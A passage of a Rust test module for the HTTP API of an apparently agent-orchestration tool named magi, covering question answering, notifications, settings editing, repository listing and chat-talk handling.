9366 std::fs::write(&toml, "this is = = not toml").unwrap();
9367 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
9368 let mut task = Task::new(
9369 "t".to_owned(),
9370 "Do it".to_owned(),
9371 PathBuf::from("/repo/magi"),
9372 Source::Agent {
9373 run: talk.id.clone(),
9374 node: crate::queue::CHAT_NODE.to_owned(),
9375 },
9376 );
9377 task.start("20260902-000000-beef".to_owned());
9378 fx.queue().put(&mut task).unwrap();
9379
9380 let path = format!("/api/questions/{id}/consult");
9381 let res = fx.post(&path, None).await;
9382 assert!(res.status >= 400, "{}", res.body);
9383 assert!(fx.questions().get(&id).unwrap().consult.is_none());
9384 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
9385
9386 std::fs::write(&toml, "").unwrap();
9387 let res = fx.post(&path, None).await;
9388 assert_eq!(res.status, 202, "{}", res.body);
9389 assert!(fx.questions().get(&id).unwrap().consult.is_some());
9390 let q = fx.questions().get(&id).unwrap();
9391 assert!(q.status.open());
9392 assert!(q.answer.is_none());
9393 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
9394 }
9395
9396 #[tokio::test]
9397 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
9398 let fx = Fixture::start().await;
9399 let store = fx.questions();
9400 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9401 assert_eq!(
9402 fx.get("/api/health").await.json()["questions_needs_owner"],
9403 1
9404 );
9405
9406 let res = fx
9412 .post(
9413 &format!("/api/questions/{id}/say"),
9414 Some(r#"{"body":"why not Postgres?"}"#),
9415 )
9416 .await;
9417 assert_eq!(res.status, 200, "{}", res.body);
9418 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9419 assert_eq!(
9420 fx.get("/api/health").await.json()["questions_needs_owner"],
9421 0,
9422 "waiting on the agent is not waiting on the owner"
9423 );
9424
9425 let mut q = store.get(&id).expect("get");
9429 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
9430 .expect("reply");
9431 store.put(&mut q).expect("put");
9432 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9433 assert_eq!(
9434 fx.get("/api/health").await.json()["questions_needs_owner"],
9435 1,
9436 "the agent's reply is what should light the banner back up"
9437 );
9438 }
9439
9440 #[tokio::test]
9441 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
9442 let fx = Fixture::start().await;
9443 let store = fx.questions();
9444
9445 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9446 let res = fx
9447 .post(
9448 &format!("/api/questions/{empty_id}/say"),
9449 Some(r#"{"body":" "}"#),
9450 )
9451 .await;
9452 assert_eq!(res.status, 400, "{}", res.body);
9453
9454 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9455 let mut answered = store.get(&answered_id).expect("get");
9456 answered
9457 .answer(Answer::Choice("SQLite".to_owned()))
9458 .expect("answer");
9459 store.put(&mut answered).expect("put");
9460 let res = fx
9461 .post(
9462 &format!("/api/questions/{answered_id}/say"),
9463 Some(r#"{"body":"still there?"}"#),
9464 )
9465 .await;
9466 assert_eq!(res.status, 409, "{}", res.body);
9467
9468 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9469 let mut abandoned = store.get(&abandoned_id).expect("get");
9470 abandoned.abandon("timed out");
9471 store.put(&mut abandoned).expect("put");
9472 let res = fx
9473 .post(
9474 &format!("/api/questions/{abandoned_id}/say"),
9475 Some(r#"{"body":"still there?"}"#),
9476 )
9477 .await;
9478 assert_eq!(res.status, 409, "{}", res.body);
9479 }
9480
9481 #[tokio::test]
9482 async fn an_answer_the_question_does_not_offer_is_refused() {
9483 let fx = Fixture::start().await;
9484 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9485 let path = format!("/api/questions/{id}/answer");
9486
9487 for body in [
9488 r#"{"choice":"Postgres"}"#,
9489 r#"{"text":"whatever you think"}"#,
9490 r#"{"choice":"Redis","text":"both"}"#,
9491 r#"{}"#,
9492 ] {
9493 let res = fx.post(&path, Some(body)).await;
9494 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
9495 assert!(res.json()["error"].is_string(), "{}", res.body);
9496 }
9497 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9499 }
9500
9501 #[tokio::test]
9502 async fn a_free_text_question_takes_text_and_not_a_choice() {
9503 let fx = Fixture::start().await;
9504 let id = ask(&fx, "What should the flag be called?", &[]);
9505 let path = format!("/api/questions/{id}/answer");
9506
9507 assert_eq!(
9508 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
9509 400
9510 );
9511 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
9512 assert_eq!(res.status, 200, "{}", res.body);
9513 assert_eq!(res.json()["answer"]["text"], "--json");
9514 }
9515
9516 #[tokio::test]
9517 async fn an_unknown_question_is_a_json_404() {
9518 let fx = Fixture::start().await;
9519 let res = fx
9520 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
9521 .await;
9522 assert_eq!(res.status, 404, "{}", res.body);
9523 assert!(res.json()["error"].is_string());
9524 }
9525
9526 #[tokio::test]
9527 async fn notifications_list_read_dismiss_and_health_agree() {
9528 let fx = Fixture::start().await;
9529 let store = Notices::at(fx.home.path().join("notifications"));
9530 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
9531 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
9532
9533 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
9534 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
9535
9536 let health = fx.get("/api/health").await.json();
9537 assert_eq!(health["notifications_unread"], 2);
9538 assert_ne!(
9539 health["notifications_rev"], rev0,
9540 "the badge must move live"
9541 );
9542
9543 let listed = fx.get("/api/notifications").await.json();
9544 assert_eq!(listed["unread"], 2);
9545 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
9546 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
9547
9548 let read = fx
9549 .post(&format!("/api/notifications/{}/read", a.id), None)
9550 .await;
9551 assert_eq!(read.status, 200, "{}", read.body);
9552 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
9553
9554 let gone = fx
9555 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
9556 .await;
9557 assert_eq!(gone.status, 200, "{}", gone.body);
9558 let listed = fx.get("/api/notifications").await.json();
9559 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
9560 assert_eq!(listed["unread"], 0);
9561
9562 store.raise(Notice::info("x", "again")).unwrap();
9563 let all = fx.post("/api/notifications/read-all", None).await;
9564 assert_eq!(all.status, 200, "{}", all.body);
9565 assert_eq!(all.json()["marked"], 1);
9566 assert_eq!(
9567 fx.get("/api/health").await.json()["notifications_unread"],
9568 0
9569 );
9570
9571 let missing = fx.post("/api/notifications/nope/read", None).await;
9572 assert_eq!(missing.status, 404, "{}", missing.body);
9573 assert!(missing.json()["error"].is_string());
9574 }
9575
9576 #[tokio::test]
9583 async fn a_task_cannot_be_filed_over_the_phone_directly() {
9584 let f = Fixture::start().await;
9585
9586 let res = f
9587 .post(
9588 "/api/queue",
9589 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
9590 )
9591 .await;
9592
9593 assert_eq!(
9594 res.status, 405,
9595 "POST /api/queue must not be a route: {}",
9596 res.body
9597 );
9598 assert!(
9599 f.queue().list().is_empty(),
9600 "a task filed by a route that does not exist must not reach the disk"
9601 );
9602 assert_eq!(f.get("/api/queue").await.status, 200);
9605 }
9606
9607 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
9609 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
9610 .expect("checkout dir");
9611 }
9612
9613 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
9615
9616 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
9617 let tmp = TempDir::new().expect("tempdir");
9618 let repo = tmp.path().join("repo");
9619 std::fs::create_dir_all(&repo).expect("repo dir");
9620 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
9621 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
9622 if let Some(text) = machine_toml {
9623 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
9624 std::fs::write(&machine, text).expect("machine toml");
9625 }
9626 (tmp, repo, machine)
9627 }
9628
9629 async fn settings_checkout(path: &FsPath, text: &str) {
9630 std::fs::create_dir_all(path).unwrap();
9631 std::fs::write(path.join("magi.toml"), text).unwrap();
9632 for args in [
9633 vec!["init", "-b", "main"],
9634 vec!["add", "magi.toml"],
9635 vec![
9636 "-c",
9637 "user.name=Test",
9638 "-c",
9639 "user.email=test@example.invalid",
9640 "commit",
9641 "-m",
9642 "fixture",
9643 ],
9644 vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
9645 vec![
9646 "symbolic-ref",
9647 "refs/remotes/origin/HEAD",
9648 "refs/remotes/origin/main",
9649 ],
9650 ] {
9651 crate::git::git(path, &args).await.unwrap();
9652 }
9653 }
9654
9655 #[tokio::test]
9656 async fn settings_context_handlers_validate_and_save_without_a_socket() {
9657 let (tmp, repo, machine) =
9658 settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
9659 let root = tmp.path().join("roots");
9660 let selected = root.join("host/owner/selected");
9661 settings_checkout(
9662 &selected,
9663 "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
9664 )
9665 .await;
9666 std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
9667 let before = std::fs::read(&machine).unwrap();
9668 let ui = Arc::new(
9669 Ui::new(
9670 Queue::at(tmp.path().join("queue")),
9671 Questions::at(tmp.path().join("questions")),
9672 Talks::at(tmp.path().join("talks")),
9673 tmp.path().join("runs"),
9674 tmp.path().to_path_buf(),
9675 repo.clone(),
9676 )
9677 .with_machine_config(Some(machine.clone())),
9678 );
9679 let query = || {
9680 Query(SettingsQuery {
9681 repo: Some(selected.clone()),
9682 })
9683 };
9684 let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
9685 assert!(v.error.is_none(), "{:?}", v.error);
9686 let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
9687 assert_eq!(conductor.source, "repo");
9688 assert_eq!(
9689 conductor.machine_value,
9690 Some(toml::Value::String("a".into()))
9691 );
9692 assert!(!conductor.editable);
9693 let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
9694 assert_eq!(
9695 judges.count.as_ref().unwrap().machine_value,
9696 Some(toml::Value::Integer(1))
9697 );
9698 assert!(
9699 !v.roles
9700 .iter()
9701 .find(|r| r.key == "reviewers")
9702 .unwrap()
9703 .editable
9704 );
9705 let unknown = || {
9706 Query(SettingsQuery {
9707 repo: Some(tmp.path().to_path_buf()),
9708 })
9709 };
9710 assert_eq!(
9711 settings_get(State(ui.clone()), unknown())
9712 .await
9713 .unwrap_err()
9714 .status,
9715 StatusCode::UNPROCESSABLE_ENTITY
9716 );
9717 let body = || {
9718 Ok(Json(RolesBody {
9719 revision: v.revision.clone(),
9720 roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
9721 counts: Default::default(),
9722 }))
9723 };
9724 assert_eq!(
9725 settings_put_roles(State(ui.clone()), unknown(), body())
9726 .await
9727 .unwrap_err()
9728 .status,
9729 StatusCode::UNPROCESSABLE_ENTITY
9730 );
9731 assert_eq!(std::fs::read(&machine).unwrap(), before);
9732 let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
9733 .await
9734 .unwrap();
9735 assert_eq!(
9736 saved.repo,
9737 selected.canonicalize().unwrap().display().to_string()
9738 );
9739 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
9740 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
9741 let fresh = root.join("host/owner/fresh");
9743 settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
9744 let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
9745 .await
9746 .unwrap();
9747 assert_eq!(fresh_view.repositories.len(), 3);
9748 }
9749
9750 #[tokio::test]
9751 async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
9752 let (tmp, repo, machine) = settings_dirs(
9753 "[roles]\nreviewers = [\"a\"]\n",
9754 Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
9755 );
9756 let root = tmp.path().join("roots");
9757 let selected = root.join("host/owner/selected");
9758 settings_checkout(
9759 &selected,
9760 "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
9761 )
9762 .await;
9763 let broken = root.join("host/owner/broken");
9764 settings_checkout(&broken, "[roles\nbroken").await;
9765 let machine_text = format!(
9766 "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
9767 toml::Value::String(root.display().to_string())
9768 );
9769 std::fs::write(&machine, &machine_text).unwrap();
9770 let originals: Vec<_> = [&repo, &selected, &broken]
9771 .iter()
9772 .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
9773 .collect();
9774 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
9775 let default = f.get("/api/settings").await.json();
9776 assert_eq!(
9777 default["repo"],
9778 repo.canonicalize().unwrap().display().to_string()
9779 );
9780 assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
9781 let query = format!("?repo={}", selected.display());
9782 let res = f.get(&format!("/api/settings{query}")).await;
9783 assert_eq!(res.status, 200, "{}", res.body);
9784 let v = res.json();
9785 assert!(v["error"].is_null(), "{v}");
9786 assert_eq!(v["repositories"], default["repositories"]);
9787 let role = |key: &str| {
9788 v["roles"]
9789 .as_array()
9790 .unwrap()
9791 .iter()
9792 .find(|r| r["key"] == key)
9793 .unwrap()
9794 };
9795 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
9796 assert_eq!(role("advisors")["source"], "repo");
9797 assert_eq!(role("advisors")["editable"], false);
9798 assert!(role("advisors")["machine_value"].is_null());
9799 assert_eq!(role("judges")["count"]["value"], 2);
9800 assert_eq!(role("judges")["count"]["machine_value"], 1);
9801 assert_eq!(role("judges")["count"]["source"], "repo");
9802 let source = role("judges")["count"]["source_path"].as_str().unwrap();
9803 assert!(
9804 source.contains("origin/main") && !source.contains("magi/config/"),
9805 "{source}"
9806 );
9807 assert_eq!(
9808 role("reviewers")["editable"],
9809 false,
9810 "default context outside roots must protect its declarations"
9811 );
9812 let body =
9813 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
9814 let unknown = format!("?repo={}", tmp.path().display());
9815 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
9816 assert_eq!(
9817 f.put(&format!("/api/settings/roles{unknown}"), &body)
9818 .await
9819 .status,
9820 422
9821 );
9822 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
9823 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
9824 .to_string();
9825 assert_eq!(
9826 f.put(&format!("/api/settings/roles{query}"), &refuse)
9827 .await
9828 .status,
9829 422
9830 );
9831 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
9832 assert_eq!(saved.status, 200, "{}", saved.body);
9833 assert_eq!(saved.json()["repo"], v["repo"]);
9834 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
9835 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
9836 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
9837 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
9838 }
9839 let error = f
9840 .get(&format!("/api/settings?repo={}", broken.display()))
9841 .await;
9842 assert_eq!(error.status, 200);
9843 assert!(error.json()["error"]["message"].is_string());
9844 assert_eq!(error.json()["repositories"], default["repositories"]);
9845 }
9846
9847 #[tokio::test]
9848 async fn settings_get_reports_sources_and_the_advisors_fallback() {
9849 let (_tmp, repo, machine) =
9850 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
9851 let f = Fixture::with_repo_and_machine(repo, machine).await;
9852 let res = f.get("/api/settings").await;
9853 assert_eq!(res.status, 200, "{}", res.body);
9854 let v = res.json();
9855 assert!(v["error"].is_null(), "{v}");
9856 let role = |k: &str| {
9857 v["roles"]
9858 .as_array()
9859 .and_then(|r| r.iter().find(|x| x["key"] == k))
9860 .cloned()
9861 .unwrap_or_else(|| panic!("no role {k}: {v}"))
9862 };
9863 assert_eq!(role("judges")["source"], "machine");
9864 assert_eq!(role("judges")["editable"], true);
9865 assert_eq!(role("implementers")["source"], "default");
9866 let adv = role("advisors");
9867 assert_eq!(adv["fallback"], "judges");
9868 assert!(
9869 adv["seats"]
9870 .as_array()
9871 .is_some_and(|s| s.iter().all(|x| x == "b")),
9872 "{adv}"
9873 );
9874 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
9875 assert_eq!(v["agents"][0]["source"], "repo");
9876 }
9877
9878 #[tokio::test]
9879 async fn settings_get_reports_a_config_that_does_not_parse() {
9880 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
9881 let f = Fixture::with_repo_and_machine(repo, machine).await;
9882 let res = f.get("/api/settings").await;
9883 assert_eq!(res.status, 200, "{}", res.body);
9884 let v = res.json();
9885 assert!(v["error"]["message"].is_string(), "{v}");
9886 assert!(
9887 v["error"]["path"]
9888 .as_str()
9889 .is_some_and(|p| p.ends_with("magi.toml")),
9890 "{v}"
9891 );
9892 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
9893 }
9894
9895 #[tokio::test]
9896 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
9897 let (_tmp, repo, machine) = settings_dirs(
9898 SETTINGS_AGENTS,
9899 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
9900 );
9901 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
9902 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
9903 let rev = f.get("/api/settings").await.json()["revision"]
9904 .as_str()
9905 .expect("revision")
9906 .to_owned();
9907 let body = serde_json::json!({
9908 "revision": rev,
9909 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
9910 })
9911 .to_string();
9912 let res = f.put("/api/settings/roles", &body).await;
9913 assert_eq!(res.status, 200, "{}", res.body);
9914 let text = std::fs::read_to_string(&machine).expect("machine");
9915 assert_eq!(
9916 text,
9917 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
9918 );
9919 assert_eq!(
9920 std::fs::read(repo.join("magi.toml")).expect("read"),
9921 repo_before
9922 );
9923 let again = f.get("/api/settings").await.json();
9924 let judges = again["roles"]
9925 .as_array()
9926 .expect("roles")
9927 .iter()
9928 .find(|r| r["key"] == "judges")
9929 .expect("judges")
9930 .clone();
9931 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
9932 let stale = f.put("/api/settings/roles", &body).await;
9934 assert_eq!(stale.status, 409, "{}", stale.body);
9935 }
9936
9937 #[tokio::test]
9938 async fn settings_counts_are_reported_and_saved() {
9939 let (_tmp, repo, machine) = settings_dirs(
9940 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
9941 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
9942 );
9943 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
9944 let v = f.get("/api/settings").await.json();
9945 let count = |v: &serde_json::Value, k: &str| {
9946 v["roles"]
9947 .as_array()
9948 .and_then(|r| r.iter().find(|x| x["key"] == k))
9949 .map(|x| x["count"].clone())
9950 .unwrap_or_else(|| panic!("no role {k}: {v}"))
9951 };
9952 let imp = count(&v, "implementers");
9953 assert_eq!(imp["value"], 2);
9954 assert_eq!(imp["source"], "machine");
9955 assert_eq!(imp["file_key"], "candidates");
9956 assert_eq!(imp["roster_len"], 2);
9957 assert_eq!(imp["backups"], 0);
9958 assert_eq!(count(&v, "judges")["source"], "default");
9959 assert_eq!(count(&v, "advisors")["min"], 0);
9960 assert_eq!(count(&v, "reviewers")["editable"], false);
9961 assert!(
9962 count(&v, "reviewers")["locked_reason"]
9963 .as_str()
9964 .is_some_and(|m| m.contains("graph.reviewers"))
9965 );
9966 assert!(count(&v, "fixer").is_null());
9967 let rev = v["revision"].as_str().expect("revision").to_owned();
9968 let body = serde_json::json!({
9969 "revision": rev,
9970 "roles": { "judges": ["b"] },
9971 "counts": { "implementers": 1, "advisors": 0 }
9972 })
9973 .to_string();
9974 let res = f.put("/api/settings/roles", &body).await;
9975 assert_eq!(res.status, 200, "{}", res.body);
9976 let text = std::fs::read_to_string(&machine).expect("machine");
9977 assert_eq!(
9978 text,
9979 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
9980 );
9981 let after = f.get("/api/settings").await.json();
9982 assert_eq!(count(&after, "implementers")["value"], 1);
9983 assert_eq!(count(&after, "implementers")["backups"], 1);
9984 assert_eq!(count(&after, "advisors")["value"], 0);
9985 let before = std::fs::read_to_string(&machine).expect("machine");
9986 let rev = after["revision"].as_str().expect("revision").to_owned();
9987 for counts in [
9988 serde_json::json!({ "judges": 0 }),
9989 serde_json::json!({ "judges": "x" }),
9990 serde_json::json!({ "judges": 2.5 }),
9991 serde_json::json!({ "judges": -1 }),
9992 serde_json::json!({ "reviewers": 3 }),
9993 serde_json::json!({ "bogus": 3 }),
9994 ] {
9995 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
9996 let res = f.put("/api/settings/roles", &body).await;
9997 assert_eq!(res.status, 422, "{counts}: {}", res.body);
9998 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
9999 }
10000 }
10001
10002 #[tokio::test]
10003 async fn settings_put_refuses_without_touching_the_file() {
10004 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
10005 let (_tmp, repo, machine) = settings_dirs(
10006 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
10007 Some(machine_text),
10008 );
10009 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
10010 let rev = f.get("/api/settings").await.json()["revision"]
10011 .as_str()
10012 .expect("revision")
10013 .to_owned();
10014 for roles in [
10015 serde_json::json!({ "judges": ["nope"] }),
10016 serde_json::json!({ "reviewers": ["b"] }),
10017 serde_json::json!({ "bogus": ["a"] }),
10018 ] {
10019 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
10020 let res = f.put("/api/settings/roles", &body).await;
10021 assert_eq!(res.status, 422, "{roles}: {}", res.body);
10022 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
10023 assert_eq!(
10024 std::fs::read_to_string(&machine).expect("machine"),
10025 machine_text
10026 );
10027 }
10028 }
10029
10030 #[tokio::test]
10031 async fn repos_list_returns_name_and_path_for_every_configured_root() {
10032 let tmp = TempDir::new().expect("tempdir");
10033 let repo = tmp.path().join("repo");
10034 std::fs::create_dir_all(&repo).expect("repo dir");
10035 let root = tmp.path().join("root");
10036 make_checkout(&root, "github.com", "yukimemi", "magi");
10037 std::fs::write(
10038 repo.join("magi.toml"),
10039 format!(
10040 "[repos]\nroots = [{:?}]\n",
10041 root.to_string_lossy().into_owned()
10042 ),
10043 )
10044 .expect("write magi.toml");
10045
10046 let f = Fixture::with_repo(repo).await;
10047 let res = f.get("/api/repos").await;
10048 assert_eq!(res.status, 200, "{}", res.body);
10049 let list = res.json();
10050 let repos = list.as_array().expect("an array");
10051 assert_eq!(repos.len(), 1);
10052 assert_eq!(repos[0]["name"], "yukimemi/magi");
10053 assert!(
10054 repos[0]["path"]
10055 .as_str()
10056 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
10057 "{list}"
10058 );
10059 }
10060
10061 #[tokio::test]
10062 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
10063 let tmp = TempDir::new().expect("tempdir");
10064 let repo = tmp.path().join("repo");
10065 std::fs::create_dir_all(&repo).expect("repo dir");
10066 let root = tmp.path().join("root");
10067 make_checkout(&root, "github.com", "yukimemi", "magi");
10068 std::fs::write(
10069 repo.join("magi.toml"),
10070 format!(
10071 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
10072 root.to_string_lossy().into_owned()
10073 ),
10074 )
10075 .expect("write magi.toml");
10076
10077 let f = Fixture::with_repo(repo).await;
10078 let first = f.get("/api/repos").await;
10079 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
10080
10081 make_checkout(&root, "github.com", "yukimemi", "rvpm");
10084 let second = f.get("/api/repos").await;
10085 assert_eq!(
10086 second.json().as_array().map(Vec::len),
10087 Some(1),
10088 "a fresh cache must not rescan inside the TTL"
10089 );
10090
10091 let refreshed = f.get("/api/repos?refresh=1").await;
10092 assert_eq!(
10093 refreshed.json().as_array().map(Vec::len),
10094 Some(2),
10095 "an explicit refresh must rescan even inside the TTL"
10096 );
10097 }
10098
10099 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
10105
10106 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
10110 let tmp = TempDir::new().expect("tempdir");
10111 let repo = tmp.path().join("repo");
10112 std::fs::create_dir_all(&repo).expect("repo dir");
10113 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10114 let f = Fixture::with_repo(repo.clone()).await;
10115 (tmp, repo, f)
10116 }
10117
10118 #[tokio::test]
10119 async fn posting_a_talk_with_remembered_choices_is_soft() {
10120 let (_tmp, _repo, f) = talk_fixture().await;
10121
10122 let good = f
10123 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
10124 .await;
10125 assert_eq!(good.status, 201, "{}", good.body);
10126 assert_eq!(good.json()["persona"], "rei");
10127
10128 let stale = f
10130 .post(
10131 "/api/talks",
10132 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
10133 )
10134 .await;
10135 assert_eq!(stale.status, 201, "{}", stale.body);
10136 let v = stale.json();
10137 assert_eq!(v["implementers"], 1);
10138 assert_ne!(v["persona"], "nobody");
10139 let typed = f
10140 .post(
10141 "/api/talks",
10142 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
10143 )
10144 .await;
10145 assert_eq!(typed.status, 201, "{}", typed.body);
10146
10147 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
10149 assert!(
10150 !strict.status.to_string().starts_with('2'),
10151 "{}",
10152 strict.body
10153 );
10154 }
10155
10156 #[tokio::test]
10157 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
10158 let (_tmp, _repo, f) = talk_fixture().await;
10159
10160 let opened = f.post("/api/talks", None).await;
10163 assert_eq!(opened.status, 201, "{}", opened.body);
10164 let body = opened.json();
10165 assert_eq!(body["status"], "open");
10166 assert_eq!(
10167 body["turns"].as_array().unwrap().len(),
10168 0,
10169 "opening takes no agent turn: there is nothing yet to answer"
10170 );
10171
10172 let also_opened = f.post("/api/talks", Some("{}")).await;
10174 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
10175
10176 let listed = f.get("/api/talks").await.json();
10177 assert_eq!(listed.as_array().unwrap().len(), 2);
10178 }
10179
10180 #[tokio::test]
10181 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
10182 let tmp = TempDir::new().expect("tempdir");
10183 let repo = tmp.path().join("repo");
10184 std::fs::create_dir_all(&repo).expect("repo dir");
10185 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
10186 std::fs::write(
10187 repo.join("magi.toml"),
10188 format!("{MOCK_AGENT_TOML}\n{second}"),
10189 )
10190 .expect("write magi.toml");
10191 let home = TempDir::new().expect("temp home");
10192 let talks = Talks::at(home.path().join("talks"));
10193 let ui = Arc::new(
10194 Ui::new(
10195 Queue::at(home.path().join("queue")),
10196 Questions::at(home.path().join("questions")),
10197 talks.clone(),
10198 home.path().join("runs"),
10199 home.path().to_path_buf(),
10200 repo.clone(),
10201 )
10202 .with_worktrees_root(home.path().join("wt")),
10203 );
10204 let cfg = config_for(&repo).await.expect("discover config");
10205 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10206 let id = talk.id.clone();
10207 let call = |agent: &str| {
10208 talk_agent(
10209 State(Arc::clone(&ui)),
10210 Path(id.clone()),
10211 Json(TalkAgent {
10212 agent: agent.to_owned(),
10213 }),
10214 )
10215 };
10216
10217 let unknown = call("nobody").await.expect_err("unknown agent");
10218 assert_eq!(
10219 unknown.status,
10220 StatusCode::BAD_REQUEST,
10221 "{}",
10222 unknown.message
10223 );
10224
10225 {
10226 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
10229 let busy = call("second").await.expect_err("busy talk");
10230 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
10231 assert!(
10232 busy.message.contains("a talk turn is running"),
10233 "{}",
10234 busy.message
10235 );
10236 drop(guard);
10237 }
10238 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
10239
10240 let Json(view) = call("second").await.expect("switch");
10241 assert_eq!(view.talk.agent, "second");
10242 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
10243 let saved = talks.get(&id).expect("reload");
